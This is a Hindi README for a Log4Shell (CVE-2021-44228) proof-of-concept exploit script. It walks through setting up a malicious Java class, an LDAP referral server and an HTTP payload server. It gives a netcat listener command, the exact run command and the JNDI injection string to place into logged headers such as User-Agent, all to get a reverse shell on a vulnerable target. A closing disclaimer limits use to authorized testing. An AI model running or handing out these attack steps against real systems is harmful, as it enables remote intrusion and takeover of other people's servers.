
CVE-2021-44228 भेद्यता के लिए एक Proof-of-Concept।
Log4j भेद्यता (CVE-2021-44228) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसे Log4Shell के नाम से भी जाना जाता है। यह टूल एक दुर्भावनापूर्ण Java क्लास उत्पन्न करता है, एक LDAP रेफरल सर्वर शुरू करता है, और पेलोड को HTTP के माध्यम से सर्व करता है, जिससे दूरस्थ हमलावर किसी भेद्य लक्ष्य पर मनमाने कमांड निष्पादित कर सकता है।
poc.py के समान फ़ोल्डर में मौजूद होनी चाहिए:
jdk1.8.0_20/ – Oracle JDK 1.8.0_20 की एक प्रति (इसमें bin/javac और bin/java शामिल हैं)। यदि यह अनुपस्थित है, तो स्क्रिप्ट सिस्टम के javac और कमांड का उपयोग करने का प्रयास करेगी।javatarget/marshalsec-0.0.3-SNAPSHOT-all.jar – LDAP सर्वर शुरू करने के लिए उपयोग की जाने वाली marshalsec JAR फ़ाइल।jdk1.8.0_20 फ़ोल्डर और marshalsec JAR को ऊपर वर्णित अनुसार रखें।pip install -r requirements.txt
स्क्रिप्ट को Python के साथ चलाएँ:
python3 poc.py [OPTIONS]
| Argument | Type | Default | Description |
|---|---|---|---|
--userip | string | auto-detected IPv4 | वह IP पता जिससे LDAP और HTTP सर्वर बाइंड होंगे और जिसे प्रचारित करेंगे। यह लक्ष्य मशीन से पहुंच योग्य होना चाहिए। |
--webport | integer | 8000 | उस HTTP सर्वर के लिए पोर्ट जो संकलित Exploit.class को सर्व करता है। |
--lport | integer | 9001 | वह पोर्ट जहाँ आपका नेटकैट लिसनर रिवर्स शेल की प्रतीक्षा करता है। पेलोड userip:lport पर वापस कनेक्ट होगा। |
अपने हमलावर मशीन पर नेटकैट लिसनर शुरू करें (9001 को अपने चुने हुए पोर्ट से बदलें):
nc -lvnp 9001
एक्सप्लॉइट चलाएँ:
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
यदि आप --userip हटाते हैं, तो स्क्रिप्ट स्वचालित रूप से आपकी मशीन का प्राथमिक IPv4 पता उपयोग करेगी।
स्क्रिप्ट भेद्य लक्ष्य में इंजेक्ट करने के लिए एक पेलोड स्ट्रिंग प्रदर्शित करेगी, उदाहरण के लिए:
${jndi:ldap://192.168.1.10:1389/a}
इस स्ट्रिंग को किसी भी इनपुट फ़ील्ड या HTTP हेडर में इंजेक्ट करें जिसे भेद्य Log4j इंस्टेंस द्वारा लॉग किया जाता है (जैसे, User-Agent, X-Forwarded-For, आदि)। लक्ष्य LDAP सर्वर से कनेक्ट होगा, HTTP सर्वर से दुर्भावनापूर्ण क्लास प्राप्त करेगा, और रिवर्स शेल निष्पादित करेगा।
आपको अपने नेटकैट लिसनर में एक शेल कनेक्शन दिखाई देना चाहिए।
Exploit.java उत्पन्न करती है जिसमें userip:lport पर रिवर्स शेल खोलने वाला कोड होता है।javac) का उपयोग करके फ़ाइल संकलित करती है।Exploit.class को होस्ट करने के लिए webport पर एक सरल HTTP सर्वर शुरू करती है।/bin/sh का उपयोग करता है और Unix-जैसे लक्ष्य प्रणालियों के लिए है। Windows लक्ष्यों के लिए, आपको Exploit.java के अंदर कमांड को संशोधित करना होगा।webport और lport) पर आने वाले कनेक्शन की अनुमति देते हैं, और लक्ष्य आपकी मशीन तक पहुँच सकता है।स्क्रिप्ट बाहर निकलते समय (सामान्य रूप से या KeyboardInterrupt के बाद) स्वचालित रूप से Exploit.java और Exploit.class को हटा देती है। यदि आपको डिबगिंग के लिए फ़ाइलों को रखने की आवश्यकता है, तो poc.py में finally ब्लॉक को कमेंट करें।
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। उन प्रणालियों के विरुद्ध इस एक्सप्लॉइट का अनधिकृत उपयोग अवैध है जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है। इस सॉफ़्टवेयर के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं हैं।